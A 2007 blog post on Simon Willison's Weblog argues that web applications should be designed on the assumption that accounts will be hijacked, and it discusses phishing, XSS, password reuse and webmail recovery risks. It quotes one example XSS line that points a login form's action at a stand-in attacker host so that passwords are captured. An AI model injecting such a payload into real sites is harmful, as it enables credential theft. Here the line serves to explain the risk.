Simon Willison’s Weblog

Designing for a security breach

30th September 2007

User account breaches are inevitable. We should take that in to account when designing our applications.

My work with OpenID has lead me to think a lot harder about account security in general. Staying secure on the Web is surprisingly difficult, even for experienced internet users—which means the mainstream public are in a whole heap of trouble.

Phishing is incredibly effective; the vast majority of people can’t tell the difference between a phished version of a site and a real one, and applications don’t help the situation by sending dozens of e-mails encouraging people to sign in or serving their legitimate login page on unrecognisable domains. Even worse, many social networking sites actively encourage bad security habits by asking users for their webmail username and password in order to scrape their address book for contacts.

CSRF and XSS attacks (the latter which opens up the former even in the few sites that have CSRF protection) are everywhere, and make phishing for user passwords even easier. If you can inject the following XSS attack in to a login page all bets are off:

document.forms[0].action='http://hax0r.example.com/capture.cgi'

Your application may be perfectly secure, but if one of your users uses the same username and password on a less secure application that gets cracked or XSSd their account on your service can be compromised as well.

Most worrying of all is the way most user’s entire online identities are attached to a single webmail account. People often criticise OpenID for putting all of a user’s eggs in one basket, but don’t realise that for most people their e-mail already serves that purpose. Steal my mail account and you can use forgotten password requests to steal everything else. Here’s a nasty recent example of that happening with a Gmail account.

(This is why I’m excited to see OpenID providers moving towards more secure methods of authentication such as client-side SSL certificates and two-factor authentication with a physical token. Users can afford to have a stronger relationship with their OpenID provider than the other sites they sign in to. It would be nice to see the same authentication measures made available for popular webmail systems.)

If your web application hosts any valuable information at all, it’s prudent to expect that some significant proportion of your users will eventually have their accounts hijacked.

This introduces some interesting design challenges. If we expect that at least some of our users’ accounts will be compromised, what can we do to minimise the damage that an attacker can cause?

Online privacy campaigners frequently call for data and account deletion to be irreversible, but paradoxically this makes for even more trouble if an account is hijacked. Maybe applications should experiment with “root” level passwords that must be entered to make irreversible changes to an account (emptying the trash can for example). Of course, that just makes the whole password problem twice as bad.

I don’t have any answers, but I’d love to see some discussion about this. Are there any best practices that have already emerged in this area?